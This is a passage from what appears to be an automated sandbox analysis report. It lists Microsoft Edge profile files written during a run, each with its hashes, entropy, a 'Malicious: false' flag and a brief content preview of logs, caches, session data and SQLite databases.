SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	89794
Entropy (8bit):	5.595278978844279
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvoT:d9LyxPXfOxr1lMe1nL/CL/TXEmsvY
MD5:	6C2F6F4462626ED93C24655989E6FD35
SHA1:	BA7358615B4B63E84C644E0B60C75431541DEA68
SHA-256:	4DAE926D3B09BDA9A35BF7BE5C1C99D4F4337C44035C9B30A4573173EAAA39E9
SHA-512:	28D842F72B3605DD4D5E830FBE3CB656E8F10B0889757D95155AE177EA2A922C843255A38C5FF85B9EED91706CD63C07F93F8987DF81304512A4F28ABE86920A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.939830830432992
Encrypted:	false
SSDEEP:	3:CtiFjE3lRCn:Ctiqu
MD5:	985EC72922D49647640CB0395E3B2D24
SHA1:	1FFB4E519C6460176040FF2BF6306C59A1243D53
SHA-256:	66DDE28E2B9CE9EF707E067847302BCE2525E2DD524FC01C8F848E6E804FF40D
SHA-512:	5B654708393AC5635EE3C5F52518A9BC7CD1208637DA5697B0978FD574EF74126DB2D6218A56F1A4108A5FF570DFA33577352520C6BF568823A59F81C729AC6E
Malicious:	false
Preview:	(..._.R.oy retne..........................e\./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.939830830432992
Encrypted:	false
SSDEEP:	3:CtiFjE3lRCn:Ctiqu
MD5:	985EC72922D49647640CB0395E3B2D24
SHA1:	1FFB4E519C6460176040FF2BF6306C59A1243D53
SHA-256:	66DDE28E2B9CE9EF707E067847302BCE2525E2DD524FC01C8F848E6E804FF40D
SHA-512:	5B654708393AC5635EE3C5F52518A9BC7CD1208637DA5697B0978FD574EF74126DB2D6218A56F1A4108A5FF570DFA33577352520C6BF568823A59F81C729AC6E
Malicious:	false
Preview:	(..._.R.oy retne..........................e\./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF444a6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.939830830432992
Encrypted:	false
SSDEEP:	3:CtiFjE3lRCn:Ctiqu
MD5:	985EC72922D49647640CB0395E3B2D24
SHA1:	1FFB4E519C6460176040FF2BF6306C59A1243D53
SHA-256:	66DDE28E2B9CE9EF707E067847302BCE2525E2DD524FC01C8F848E6E804FF40D
SHA-512:	5B654708393AC5635EE3C5F52518A9BC7CD1208637DA5697B0978FD574EF74126DB2D6218A56F1A4108A5FF570DFA33577352520C6BF568823A59F81C729AC6E
Malicious:	false
Preview:	(..._.R.oy retne..........................e\./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7131
Entropy (8bit):	3.369729919923114
Encrypted:	false
SSDEEP:	192:Rsj4cIzcEX2A18KT+h9Xp+jX+UlD45SLl9iSrYCZ:6wD2A18KT+h9Xp+j+N5SLl9iSrZ
MD5:	4EA79C42056FE130C76706873AB666D8
SHA1:	96FB90EF64E5622478B335F69422808CDD19A98D
SHA-256:	A4BF04A11363F41C118E821C9A016AD8946B4771F704788E1B8982B37C9AA711
SHA-512:	84A0A72FE8B06AAD81C1CA7B9A63204C2A5486489AFB41F0E68EBE68178FA4F285284E15EB596ADCD0AF6F6DBA13EA816048CCC64A0465D955CA55472820AF84
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................1.b................next-map-id.1.Cnamespace-3044f198_9737_464a_b44d_5298e663c0f5-https://ntp.msn.com/.0%..<.................map-0-shd_sweeper.4{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.h.p.-.d.i.s.p.o.l.l.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.-.c.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.e.n.d.n.n.o.f.e.v.4.t.,.p.r.g.-.1.s.w.-.s.a.q.v.f.t.c.c.1.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.f.g.d.i.,.p.r.g.-.1.s.w.-.d.e.f.e.r.c.o.n.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.t.,.p.r.g.-.f.i.n.-.l.2.d.u.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147970462596504
Encrypted:	false
SSDEEP:	6:HApLm9lyq2PN723oH+TcwtrQMxIFUt8YApL11Zmw+YApLvlRkwON723oH+Tcwtrb:gBwIvVaYebCFUt87B11/+7B75OaYebtJ
MD5:	5351841E5DB8112664529190E54D2984
SHA1:	13E6428B755A5467EBC72749CDF93D2092DF6837
SHA-256:	FBD5DFAE108053BA221DB24E892DF438B0D7532987F9F1F1584756E2DA8D9D1C
SHA-512:	ADA5C8BEB91C94CABE825DC8D2ACD9DDF6E1B427FE99E8B7BA1B19586136C22B141286F3E01DE227E4D38A21D38D4FEAE219A6510154CD09FC2AE106F3E1AB0C
Malicious:	false
Preview:	2024/11/25-19:41:30.766 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-19:41:30.767 1e94 Recovering log #3.2024/11/25-19:41:30.769 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147970462596504
Encrypted:	false
SSDEEP:	6:HApLm9lyq2PN723oH+TcwtrQMxIFUt8YApL11Zmw+YApLvlRkwON723oH+Tcwtrb:gBwIvVaYebCFUt87B11/+7B75OaYebtJ
MD5:	5351841E5DB8112664529190E54D2984
SHA1:	13E6428B755A5467EBC72749CDF93D2092DF6837
SHA-256:	FBD5DFAE108053BA221DB24E892DF438B0D7532987F9F1F1584756E2DA8D9D1C
SHA-512:	ADA5C8BEB91C94CABE825DC8D2ACD9DDF6E1B427FE99E8B7BA1B19586136C22B141286F3E01DE227E4D38A21D38D4FEAE219A6510154CD09FC2AE106F3E1AB0C
Malicious:	false
Preview:	2024/11/25-19:41:30.766 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-19:41:30.767 1e94 Recovering log #3.2024/11/25-19:41:30.769 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377055292047558

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.831037464643419
Encrypted:	false
SSDEEP:	24:3wltlblSlslgYLjlHKVPPlHipsAF4unxqtLp3X2amEtG1ChqLl8GtMQKkOAM4Y:3QXBWs3HIVPPhizF8Lp2FEkChAljHOpH
MD5:	107A97AADCF1C242F185BFED71A743D0
SHA1:	8C79270D12B37CA3E88E43BCF8D0E5A80091B114
SHA-256:	DCF0D8FB2877B16924B89148F5380D354FB27CA144D3AED09EB8ADFF09FD7270
SHA-512:	D035C7DE39743F67F3427EE7F5593B1C6823E1776D73C16C5DEF1CAEAC7733855943D91DFA506CC0BB22022AE46A47F39A60D8813A0D6EE71D84C8F24469326E
Malicious:	false
Preview:	SNSS.......V..p...........V..p......"V..p...........V..p.......V..p.......W..p.......W..p....!..W..p...............................V..pW..p1..,...W..p$...3044f198_9737_464a_b44d_5298e663c0f5...V..p.......W..p......F........V..p...V..p.......................V..p....................5..0...V..p&...{46F3A197-DB49-410A-81B3-94975C835573}.....V..p..........V..p.......................W..p...........W..p........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........h..'....h..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1350694747107735
Encrypted:	false
SSDEEP:	6:HApL/6PUnq2PN723oH+Tcwt7Uh2ghZIFUt8YApL/69Zmw+YApL/6ekwON723oH+Q:gB/6PUnvVaYebIhHh2FUt87B/69/+7Bs
MD5:	BEB4B09E4C8AEE9048270B654D08D9A2
SHA1:	1F8CE1C1979711AAA0762B282D38B2B104E9776C
SHA-256:	62B25002BFCCD1FDDFFC99A01F2FBC9345024809DC72E2B4C01ED65E134DA3FE
SHA-512:	029F024EFFFD443FCDEBFEE7EFABAD8E5B763A83A9B416BAE08C0535D47DEEE734D0602BCCEB453FD957DC6C941FE944070BC5FE02774A8F2A18A0FEDD65410A
Malicious:	false
Preview:	2024/11/25-19:41:29.549 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-19:41:29.550 1f70 Recovering log #3.2024/11/25-19:41:29.551 1f70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1350694747107735
Encrypted:	false
SSDEEP:	6:HApL/6PUnq2PN723oH+Tcwt7Uh2ghZIFUt8YApL/69Zmw+YApL/6ekwON723oH+Q:gB/6PUnvVaYebIhHh2FUt87B/69/+7Bs
MD5:	BEB4B09E4C8AEE9048270B654D08D9A2
SHA1:	1F8CE1C1979711AAA0762B282D38B2B104E9776C
SHA-256:	62B25002BFCCD1FDDFFC99A01F2FBC9345024809DC72E2B4C01ED65E134DA3FE
SHA-512:	029F024EFFFD443FCDEBFEE7EFABAD8E5B763A83A9B416BAE08C0535D47DEEE734D0602BCCEB453FD957DC6C941FE944070BC5FE02774A8F2A18A0FEDD65410A
Malicious:	false
Preview:	2024/11/25-19:41:29.549 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-19:41:29.550 1f70 Recovering log #3.2024/11/25-19:41:29.551 1f70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.221188076950983
Encrypted:	false
SSDEEP:	12:gBTgOvVaYebvqBQFUt87Bc1/+7Bi5OaYebvqBvJ:SgMVaYebvZg8WpOaYebvk
MD5:	C32FE23CA7712B4BA461DC10211FD3E7
SHA1:	FCC88E9457DCFA259A823ED5496276F3C5E34EEE
SHA-256:	5CBBAE48D31850A3D4119055DE94D943DEF3CF2D4D7384E99EDDF6F6658FEE97
SHA-512:	58B2F4F61D242F9EDF18C12E345A7F83CD231E313E21A39E0F1D9A013E3F8292A1D40525E143C63EC55B56109F11370352BE1B2FCFF4D8563B393795740374CA
Malicious:	false
Preview:	2024/11/25-19:41:30.803 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-19:41:30.805 1e94 Recovering log #3.2024/11/25-19:41:30.809 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.221188076950983
Encrypted:	false
SSDEEP:	12:gBTgOvVaYebvqBQFUt87Bc1/+7Bi5OaYebvqBvJ:SgMVaYebvZg8WpOaYebvk
MD5:	C32FE23CA7712B4BA461DC10211FD3E7
SHA1:	FCC88E9457DCFA259A823ED5496276F3C5E34EEE
SHA-256:	5CBBAE48D31850A3D4119055DE94D943DEF3CF2D4D7384E99EDDF6F6658FEE97
SHA-512:	58B2F4F61D242F9EDF18C12E345A7F83CD231E313E21A39E0F1D9A013E3F8292A1D40525E143C63EC55B56109F11370352BE1B2FCFF4D8563B393795740374CA
Malicious:	false
Preview:	2024/11/25-19:41:30.803 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-19:41:30.805 1e94 Recovering log #3.2024/11/25-19:41:30.809 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1ac2a566-5474-4fbe-a390-5a32bdfe3640.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\52a9cc4a-0417-401d-8f13-bcfcd76e9eee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\72bcf044-09c0-4a24-8de2-c92a7e6aa874.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ce8c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bfc34b28-d461-4112-b879-fe5bb5581ffb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
